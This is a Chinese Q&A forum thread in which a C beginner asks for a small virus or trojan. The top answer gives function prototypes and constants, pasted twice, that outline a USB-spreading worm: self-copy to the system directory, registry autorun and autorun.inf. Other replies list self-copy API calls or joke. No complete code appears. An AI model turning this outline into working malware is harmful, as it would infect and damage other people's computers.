本人初学C语言,只为好奇,绝无恶意。。。高手请编个小病毒给我,小木马也好。。。
附上源代码
并提供病毒解决方法。。。谢谢
不能这样噻
显得你们没才华嘛
还是帮我编一个嘛
用c语言编个小病毒
答案:5 悬赏:10
解决时间 2021-02-20 23:46
- 提问者网友:伪善人独行者
- 2021-02-20 15:33
最佳答案
- 二级知识专家网友:何必打扰
- 2021-02-20 16:38
只给你一半!!!
#include
#include
#include
#include
#include
#pragma comment(lib,"shlwapi.lib")
#define TIMER 1//计时器
//function
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//窗口过程
//获取盘符
TCHAR FirstDriveFromMask (ULONG unitmask);
//病毒从U盘启动时用到的函数
BOOL FileExist(TCHAR *path);//测试一个文件是否存在
BOOL GetSelfPath(TCHAR *path);//Get the virus's path
//BOOL FindU(TCHAR *u);//check whether u exist, u[2]
BOOL GetSysPath(TCHAR *path);//得到系统路径
BOOL CopyToSysAndSet(HWND hwnd);//复制自身到系统目录和设置
BOOL SetFileAttrib(TCHAR *path);//设置path所指文件的属性
BOOL RegAutoRun(TCHAR *path);//修改注册表,实现自启动
//从C盘启动时用到函数
BOOL CopyToUAndSet();//复制自己到U盘
BOOL CreateAutoRunFile(TCHAR *path);//在U盘下生成autorun.inf文件
BOOL FindSelf();//测试自己是否在已经执行了
//global variable
TCHAR szExePath[MAX_PATH];//the virus's path
TCHAR U[2];//保存U盘的盘符
TCHAR szSysPath[MAX_PATH];//system path
//constant
const TCHAR *szExeName="bbbbb.exe";
const TCHAR *szSysName="aaaaa.exe";
const TCHAR *szAutoRunFile="AutoRun.inf";
#include
#include
#include
#include
#include
#pragma comment(lib,"shlwapi.lib")
#define TIMER 1//计时器
//function
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//窗口过程
//获取盘符
TCHAR FirstDriveFromMask (ULONG unitmask);
//病毒从U盘启动时用到的函数
BOOL FileExist(TCHAR *path);//测试一个文件是否存在
BOOL GetSelfPath(TCHAR *path);//Get the virus's path
//BOOL FindU(TCHAR *u);//check whether u exist, u[2]
BOOL GetSysPath(TCHAR *path);//得到系统路径
BOOL CopyToSysAndSet(HWND hwnd);//复制自身到系统目录和设置
BOOL SetFileAttrib(TCHAR *path);//设置path所指文件的属性
BOOL RegAutoRun(TCHAR *path);//修改注册表,实现自启动
//从C盘启动时用到函数
BOOL CopyToUAndSet();//复制自己到U盘
BOOL CreateAutoRunFile(TCHAR *path);//在U盘下生成autorun.inf文件
BOOL FindSelf();//测试自己是否在已经执行了
//global variable
TCHAR szExePath[MAX_PATH];//the virus's path
TCHAR U[2];//保存U盘的盘符
TCHAR szSysPath[MAX_PATH];//system path
//constant
const TCHAR *szExeName="bbbbb.exe";
const TCHAR *szSysName="aaaaa.exe";
const TCHAR *szAutoRunFile="AutoRun.inf";
全部回答
- 1楼网友:随心随缘不随便
- 2021-02-20 19:11
随便编一个死循环,你尝试一下电脑死机就行了,编写病毒需要一定的基础的。
- 2楼网友:堕落奶泡
- 2021-02-20 18:52
用getwindowdirectory()得到windows目录
用getsystemdirectory()得到系统目录
用getmodulefile()得到文件自身目录
用filecopy()把文件自己拷贝到windows目录和系统目录
..........................
..........................
还有很多..............。。。
- 3楼网友:风格单纯
- 2021-02-20 17:22
研究一下VC的钩子过程吧,它们可以做很多事情。
- 4楼网友:一起来看看吧
- 2021-02-20 17:15
#include
void main()
{
printf("小病毒!\n");
}
如果要小木马的话,把小病毒改成小木马即可!
我要举报
如以上问答内容为低俗、色情、不良、暴力、侵权、涉及违法等信息,可以点下面链接进行举报!
大家都在看
推荐资讯